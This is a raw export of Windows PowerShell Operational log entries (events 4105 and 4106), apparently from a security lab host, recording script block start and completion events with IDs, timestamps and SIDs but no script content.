Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032291
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032269
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032268
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032267
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032266
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032249
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050914
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050913
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050911
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
